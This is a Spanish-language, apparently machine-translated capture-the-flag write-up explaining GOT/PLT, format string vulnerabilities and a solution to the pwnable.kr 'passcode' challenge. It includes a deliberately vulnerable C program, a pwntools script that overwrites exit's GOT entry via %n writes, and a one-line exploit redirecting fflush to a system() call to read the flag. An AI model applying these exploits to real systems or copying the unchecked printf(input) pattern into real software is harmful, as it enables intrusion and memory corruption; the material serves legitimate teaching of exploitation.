Resolver un trabajo con pwnable.kr 05 - código de acceso. Vuelva a escribir la tabla de enlaces del procedimiento a través de la vulnerabilidad de cadena de formato

imagen

En este artículo analizaremos: cuál es la tabla global de compensaciones, la tabla de relaciones de procedimientos y su reescritura a través de la vulnerabilidad de cadena de formato. También resolveremos la quinta tarea desde el sitio pwnable.kr .

Información organizacional
Especialmente para aquellos que quieran aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:

  • PWN;
  • criptografía (criptografía);
  • tecnologías de red (Red);
  • inversa (ingeniería inversa);
  • esteganografía (Stegano);
  • búsqueda y explotación de vulnerabilidades WEB.

Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.

Para que pueda conocer nuevos artículos, software y otra información, creé un canal en Telegram y un grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones personalmente y responderé a todos .

Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados ​​a alguien como resultado del uso de los conocimientos y métodos obtenidos como resultado de estudiar este documento.

Tabla de compensación global y tabla de relación de procedimientos


Las bibliotecas vinculadas dinámicamente se cargan desde un archivo separado en la memoria en el momento del arranque o en tiempo de ejecución. Y, por lo tanto, sus direcciones en la memoria no son fijas para evitar conflictos de memoria con otras bibliotecas. Además, el mecanismo de seguridad ASLR aleatorizará la dirección de cada módulo en el momento del arranque.

Tabla de compensación global (GOT): una tabla de direcciones almacenadas en la sección de datos. Se utiliza en tiempo de ejecución para buscar direcciones de variables globales que eran desconocidas en tiempo de compilación. Esta tabla está en la sección de datos y no es utilizada por todos los procesos. Todas las direcciones absolutas a las que hace referencia la sección de código se almacenan en esta tabla GOT. La sección de código utiliza compensaciones relativas para acceder a estas direcciones absolutas. Y así, el código de la biblioteca puede ser compartido por los procesos, incluso si se cargan en diferentes espacios de direcciones de memoria.

La tabla de vinculación de procedimientos (PLT) contiene un código de salto para llamar a funciones comunes cuyas direcciones se almacenan en el GOT, es decir, el PLT contiene direcciones en las que se almacenan direcciones para datos (direcciones) del GOT.

Considere el mecanismo por ejemplo:

  1. En el código del programa, se llama a la función externa printf.
  2. El flujo de control va al enésimo registro en el PLT, y la transición ocurre en un desplazamiento relativo, en lugar de una dirección absoluta.
  3. Va a la dirección almacenada en el GOT. El puntero de función almacenado en la tabla GOT primero apunta de nuevo al fragmento de código PLT.
  4. Por lo tanto, si se llama a printf por primera vez, se llama al convertidor del vinculador dinámico para obtener la dirección real de la función de destino.
  5. La dirección printf se escribe en la tabla GOT y luego se llama printf.
  6. Si se vuelve a llamar a printf en el código, ya no se llamará al solucionador porque la dirección de printf ya está almacenada en GOT.

imagen

Cuando se utiliza este enlace retrasado, no se permiten punteros a funciones que no se utilizan en tiempo de ejecución. Por lo tanto, ahorra mucho tiempo.

Para que este mecanismo funcione, las siguientes secciones están presentes en el archivo:

  • .got: contiene entradas para GOT;
  • .lt: contiene entradas para PLT;
  • .got.plt: contiene las relaciones de dirección GOT - PLT;
  • .plt.got: contiene las relaciones de dirección PLT - GOT.

Dado que la sección .got.plt es una matriz de punteros y se llena durante la ejecución del programa (es decir, se permite la escritura), podemos sobrescribir uno de ellos y controlar el flujo de ejecución del programa.

Cadena de formato


Una cadena de formato es una cadena que utiliza especificadores de formato. El especificador de formato se indica con el símbolo "%" (para ingresar el signo de porcentaje, use la secuencia "%%").

pritntf(“output %s 123”, “str”); output str 123 

Los especificadores de formato más importantes:

  • d - número con signo decimal, tamaño predeterminado, sizeof (int);
  • x y X son un número hexadecimal sin signo, x usa letras pequeñas (abcdef), X mayúscula (ABCDEF), el tamaño predeterminado es sizeof (int);
  • s - salida de línea con byte de terminación cero;
  • n es el número de caracteres escritos en el momento en que apareció la secuencia de comandos que contiene n.

¿Por qué es posible la vulnerabilidad de cadena de formato?


Esta vulnerabilidad consiste en utilizar una de las funciones de salida de formato sin especificar un formato (como en el siguiente ejemplo). Por lo tanto, nosotros mismos podemos especificar el formato de salida, lo que conduce a la capacidad de leer valores de la pila y, al especificar un formato especial, escribir en la memoria.

Considere la vulnerabilidad en el siguiente ejemplo:

 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(){ char input[100]; printf("Start program!!!\n"); printf("Input: "); scanf("%s", &input); printf("\nYour input: "); printf(input); printf("\n"); exit(0); } 

Por lo tanto, la siguiente línea no especifica el formato de salida.

 printf(input); 

Compila el programa.

 gcc vuln1.c -o vuln -no-pie 

Veamos los valores en la pila ingresando una línea que contiene especificadores de formato.

imagen

Por lo tanto, al llamar a printf (input), se activa la siguiente llamada:

 printf(“%p-%p-%p-%p-%p“); 

Queda por entender lo que muestra el programa. La función printf tiene varios argumentos, que son datos para una cadena de formato.

Considere un ejemplo de una llamada a función con los siguientes argumentos:

 printf(“Number - %d, addres - %08x, string - %s”, a, &b, c); 

Cuando se llama a esta función, la pila tendrá el siguiente aspecto.

imagen

Por lo tanto, cuando se detecta un especificador de formato, la función recupera el valor de la pila. Del mismo modo, una función de nuestro ejemplo recuperará 5 valores de la pila.

imagen

Para confirmar lo anterior, encontramos nuestra cadena de formato en la pila.

imagen

Al traducir valores de una vista hexadecimal, obtenemos la cadena "% -p% AAAA". Es decir, pudimos obtener los valores de la pila.

GOT Sobrescribir


Verifiquemos la capacidad de reescribir GOT a través de la vulnerabilidad de cadena de formato. Para hacer esto, recorramos nuestro programa reescribiendo la dirección de la función exit () a la dirección de main. Sobreescribiremos usando pwntools. Cree el diseño inicial y repita la entrada anterior.

 from pwn import * from struct import * ex = process('./vuln') payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p" ex.sendline(payload) ex.interactive() 

imagen

Pero dado que dependiendo del tamaño de la cadena ingresada, el contenido de la pila será diferente, nos aseguraremos de que la carga de entrada siempre contenga el mismo número de caracteres ingresados.

 payload = ("%p-%p-%p-%p"*5).ljust(64, ”*”) 

imagen

 payload = ("%p-%p-%p-%p").ljust(64, ”*”) 

imagen

Ahora necesitamos encontrar la dirección GOT de las funciones de salida () y la dirección de la función principal. La dirección principal se encontrará usando gdb.

imagen

La dirección GOT de exit () se puede encontrar usando gdb y objdump.

imagen

imagen

 objdump -R vuln 

imagen

Escribiremos estas direcciones en nuestro programa.

 main_addr = 0x401162 exit_addr = 0x404038 

Ahora necesita reescribir la dirección. Para agregar a la pila la dirección de la función exit () y las direcciones posteriores, es decir, * (salida ()) + 1, etc. Puedes agregarlo usando nuestra carga.

 payload = ("%p-%p-%p-%p-"*5).ljust(64, "*") payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) 

Ejecute y determine qué cuenta muestra la dirección.

imagen

Estas direcciones se muestran en las posiciones 14 y 15. Puede mostrar el valor en una posición específica de la siguiente manera.

 payload = ("%14$p").ljust(64, "*") 

imagen

Reescribiremos la dirección en dos bloques. Para comenzar, imprimiremos 4 valores para que nuestras direcciones estén en las posiciones 2 y 4.

 payload = ("%p%14$p%p%15$p").ljust(64, "*") 

imagen

Ahora dividimos la dirección de main () en dos bloques:
0x401162

1) 0x62 = 98 (escribir a 0x404038)
2) 0x4011 - 0x62 = 16303 (escriba a la dirección 0x404039)


Los escribimos de la siguiente manera:

 payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') 

Código completo:

 from pwn import * from struct import * start_addr = 0x401162 exit_addr = 0x404038 ex = process('./vuln') payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) ex.sendline(payload) ex.interactive() 

imagen

Por lo tanto, el programa se reinicia en lugar de finalizar. Reescribimos la dirección de salida ().

Solución de trabajo de contraseña


Hacemos clic en el primer ícono con la firma del código de acceso y se nos dice que debemos conectarnos a través de SSH con la contraseña de invitado.

imagen

Cuando está conectado, vemos el banner correspondiente.

imagen

Veamos qué archivos hay en el servidor y qué derechos tenemos.

 ls -l 

imagen

Por lo tanto, podemos leer el código fuente del programa, ya que existe el derecho de leer para todos, y ejecutar el programa de código de acceso con los derechos del propietario (se establece el bit fijo). Veamos el resultado del código.

imagen

Hubo un error en la función login (). En scanf (), el segundo argumento se pasa no a la dirección de la variable & passcode1, sino a la variable en sí, y no se inicializa. Como la variable aún no se ha inicializado, contiene la "basura" no escrita que quedó después de la ejecución de las instrucciones anteriores. Es decir, scanf () escribirá el número en la dirección, que serán los datos residuales.

imagen

Por lo tanto, si antes de llamar a la función de inicio de sesión, podemos obtener control sobre esta área de memoria, entonces podemos escribir cualquier número en cualquier dirección (en realidad cambiar la lógica del programa).

Dado que la función login () se llama inmediatamente después de la función welcome (), tienen las mismas direcciones de marco de pila.

imagen

Verifiquemos si podemos escribir datos en la ubicación futura del código de acceso 1. Abra el programa en gdb y desarme las funciones login () y welcome (). Como scanf tiene dos parámetros en ambos casos, la dirección de la variable se pasará primero a la función. Por lo tanto, la dirección del código de acceso 1 es ebp-0x10, y el nombre es ebp-0x70.

imagen

imagen

Ahora, calculemos el código de acceso de dirección1 relativo al nombre, siempre que el valor de ebp sea el mismo:
(& name) - (& passcode1) = (ebp-0x70) - (ebp-0x10) = -96
& passcode1 == & name + 96
Es decir, los últimos 4 bytes de nombre: esta es la "basura" que actuará como la dirección para escribir en la función de inicio de sesión.

En el artículo, vimos cómo puede cambiar la lógica de la aplicación reescribiendo las direcciones en el GOT. Hagámoslo aquí también. Como scanf () es seguido por flush, luego en la dirección de esta función en GOT, escribimos la dirección de la instrucción para llamar a la función system () para leer la bandera.

imagen

imagen

imagen

Es decir, en la dirección 0x804a004 debe escribir 0x80485e3 en forma decimal.

 python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode 

imagen

Como resultado, obtenemos 10 puntos, hasta ahora esta es la tarea más difícil.

imagen

Los archivos de este artículo se adjuntan al canal Telegram . ¡Nos vemos en los siguientes artículos!

Estamos en un canal de telegramas: un canal en Telegramas .

Source: https://habr.com/ru/post/460647/


All Articles